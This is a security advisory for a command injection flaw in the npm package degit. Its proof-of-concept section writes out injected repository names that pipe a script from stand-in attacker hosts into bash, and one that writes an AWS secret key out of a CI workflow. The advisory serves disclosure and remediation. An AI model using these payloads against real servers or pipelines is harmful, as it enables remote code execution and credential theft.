Command Injection Affecting degit package, versions <2.8.6>=3.0.0 <3.3.1


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.08% (61st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-DEGIT-17116207
  • published8 Jun 2026
  • disclosed27 Apr 2026
  • creditAmar Khatri, Mokksh Parekh

Introduced: 27 Apr 2026

CVE-2026-11572  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade degit to version 2.8.6, 3.3.1 or higher.

Overview

degit is a Straightforward project scaffolding

Affected versions of this package are vulnerable to Command Injection due to improper sanitisation of user input for git shell commands directly invoked with exec() method by _cloneWithGit() and fetchRefs() functions. An attacker can execute arbitrary operating system commands as the process user by supplying a specially crafted git repository name.

PoC

  1. Web-Based Project Scaffolding:
  • user input: github.com/user$(curl${IFS}https://attacker.com/shell.sh|bash)/repo

  • server-side call: degit("github.com/user$(curl${IFS}...)/repo").clone("/tmp/project")

  • result: shell.sh executes on the server with the web server's privileges

  1. CI/CD Pipeline Injection
# .github/workflows/scaffold.yml
- name: Scaffold project
  run: |
    npx degit "${{ github.event.inputs.template }}" ./project

with attacker-controlled template input (e.g., from a PR or workflow dispatch):

github.com/user$(printenv${IFS}AWS_SECRET_ACCESS_KEY>$GITHUB_WORKSPACE/leak.txt)/repo

  1. Developer Machine via Malicious Package:
  • A popular npm package that uses degit internally with user-provided template names:
// Inside popular scaffolding CLI:
const template = process.argv[2];   // user provides this
await degit(template).clone(dest);  // injection here
  • Attacker publishes a blog post recommending:

npx popular-scaffold-cli "github.com/user$(curl${IFS}https://evil.com/malware|bash)/template"

CVSS Base Scores

version 4.0
version 3.1